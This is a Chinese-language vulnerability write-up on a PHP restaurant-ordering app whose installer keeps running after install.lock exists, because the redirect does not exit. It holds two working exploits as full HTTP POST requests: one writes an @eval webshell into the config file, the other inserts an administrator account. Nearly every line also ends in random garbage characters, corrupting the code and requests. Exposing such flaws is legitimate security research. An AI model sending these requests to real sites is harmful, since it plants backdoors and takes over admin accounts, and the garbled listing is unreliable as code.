问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。) \5 q7 }$ Y/ `4 ~: Q; H y
# L4 u, H) a+ B' e, B<?php
; V6 a1 S% G8 I% X) c; Y# ^if(file_exists("../install.lock"))
$ A! c' F. @& C9 r7 o{
1 t- }( h: @5 _$ H+ @ l header("Location: ../");//没有退出* i; x7 ~7 g% D5 M; a0 R2 _+ W- N
}
" ]! g" n- m) T. X$ r7 O
0 W- N6 f i w# o7 W- G- @//echo 'tst';exit;
) T+ R* n2 S4 L0 ]* l B2 Drequire_once("init.php");
$ R6 G! N( t7 G6 v7 T5 ^. w! o' Aif(empty($_REQUEST['step']) || $_REQUEST['step']==1). ?0 C6 u6 c, k
{8 W2 _2 L) x8 @3 x, l# {' y5 D; A( y v
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。9 g9 z" v* t: e3 q" Z
$ u# Z4 k- g0 F' O% ^8 U
1、getshell(很危险)
* g- ?5 H! R4 c* v7 fif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
4 Z2 k0 [" k( h{, @3 a* N9 H: |( c/ {! r A
$smarty->assign("step",1);* ]+ x$ P, j) s j. g
$smarty->display("index.html");0 d- a& A/ |$ X2 `' ]
}elseif($_REQUEST['step']==2)5 s* N% W% K2 q! ~, ?
{; d( J( r) w: e
$mysql_host=trim($_POST['mysql_host']);
' [: k9 s( C1 y $mysql_user=trim($_POST['mysql_user']);
# R" L3 y3 I: l% o5 l K2 z9 D" u $mysql_pwd=trim($_POST['mysql_pwd']);
: u/ Q) K! H3 N D1 b* B+ _$ E6 @ $mysql_db=trim($_POST['mysql_db']);
9 t" G1 \6 a5 Y" z8 \3 x' n" E $tblpre=trim($_POST['tblpre']);
3 S9 K* ^' z! x9 W $domain==trim($_POST['domain']);
, P0 L3 A! S2 Y. B# K $str="<?php \r\n";* n7 ]" K. d$ c& z6 K4 c* f
$str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
/ P7 i. V7 k) p $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
: v, B' w: D3 K5 t) V $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";# A' q7 }$ W3 F0 E
$str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";- d `' y c" {4 C% t' Z" T
$str.='define("MYSQL_CHARSET","GBK");'."\r\n";
7 v0 ~' A9 P) ^% p: D; J w $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
! N! I1 {! Y) w* b z* \ $str.='define("DOMAIN","'.$domain.'");'."\r\n";
6 {6 Z5 a: m: Y6 P5 B $str.='define("SKINS","default");'."\r\n";1 W' I# C* e4 u& F5 R6 K: Q
$str.='?>';6 T* G& F) s. r+ K( W; t
file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
- a+ P% }2 n6 K5 R上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马& n4 m: q0 g1 ^/ O( O
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
: Y4 j5 [9 \: ?2 I; \" cHost: 192.168.80.1299 G/ ~- ?/ d9 J- |6 D4 N) m
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0% @4 a. k7 {, b4 O
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
' r. P( a* g, c$ K, JAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.37 m/ w: n9 h' Q( P5 J
Accept-Encoding: gzip, deflate
5 q. y$ C4 E" M+ n: ]2 o% VReferer: http://192.168.80.129/canting/install/index.php?step=1
2 }( T' i) P) I) e) |6 i* RCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
) ?2 t2 l( Z+ k# S: r, [Content-Type: application/x-www-form-urlencoded
* J, I Q* _/ Y0 N! `Content-Length: 1263 ?+ v8 x8 {( U( @/ ~
! T" z' b, \4 o0 L( w9 I
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
$ o0 {. T1 o# l! K7 y d0 G但是这个方法很危险,将导致网站无法运行。9 T x/ U, B1 w2 ^9 C3 Z' L+ X
7 Z/ g( f$ |7 @. O2、直接添加管理员- h5 u. ?) Y8 i; u1 Z! F3 ]( ~
$ g9 h; d' r* telseif($_REQUEST['step']==5)7 n; a3 g8 Q8 b
{
7 m7 K. H) `3 G if($_POST)
" f B2 t- @! r2 f& p2 G/ U { require_once("../config/config.inc.php");! l L1 l; O# `) H$ V
$link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
9 L. F$ Y" g g: E& h0 J- P4 Y, X mysql_select_db(MYSQL_DB,$link);
' U3 ?1 F" u- t* k D mysql_query("SET NAMES ".MYSQL_CHARSET );
% C: u7 x8 o- H mysql_query("SET sql_mode=''");
3 u. U0 z0 T% L* r; M" x/ \# f! i) J9 j0 N: s- z. _
$adminname=trim($_POST['adminname']);; V* n- T3 p3 h
$pwd1=trim($_POST['pwd1']);
( U) B, T; W! i $pwd2=trim($_POST['pwd2']);
; P& S% Z, ]7 ^+ B$ P if(empty($adminname))
$ O W+ ~) M- { {
2 {( ^; M$ a6 N& x( _" @' x0 l
! V. z! t+ y5 Y4 q+ \0 G echo "<script>alert('管理员不能为空');history.go(-1);</script>";5 e/ \- F4 p" e f( V" i% T
exit();
2 B V. {& C9 F# L7 A }
$ ]) D' F# J2 i/ j if(($pwd1!=$pwd2) or empty($pwd1))
8 Y* [/ r4 }( R3 p& `1 N {
1 N8 S2 Z5 b! o/ s3 T echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
' C2 g+ O1 u* Y2 m4 l2 t& E }
+ r) f- M; x8 n: A- X mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员! f2 E7 f" q4 a1 V( G; G& ]
}
( P: x. Y9 r" J这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:% S7 F8 @1 v4 F: j: F9 ]8 G. O
POST /canting/install/index.php?m=index&step=5 HTTP/1.1( x6 b5 f+ ^; U; Z5 G
Host: 192.168.80.129" W2 H1 m2 z: g: o
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
3 T& I& @) U+ HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
2 s/ I( t- ]: W Y6 `1 @Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
h" K# p( G$ j2 k) LAccept-Encoding: gzip, deflate3 p* G. Y1 D) M# Q2 G% t2 i! L* E
Referer: http://www.2cto.com /canting/install/index.php?step=1' w" a: ]( u: l% g' E+ O' p
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc422 ]) K1 X/ k2 B2 _- b
Content-Type: application/x-www-form-urlencoded/ ]- ^. i6 l! c0 v1 s2 S% J
Content-Length: 46) N$ b9 g' e: L* e. V* o
& v _* `6 e% O1 |
adminname=qingshen&pwd1=qingshen&pwd2=qingshen
/ b# u5 v% w& ] |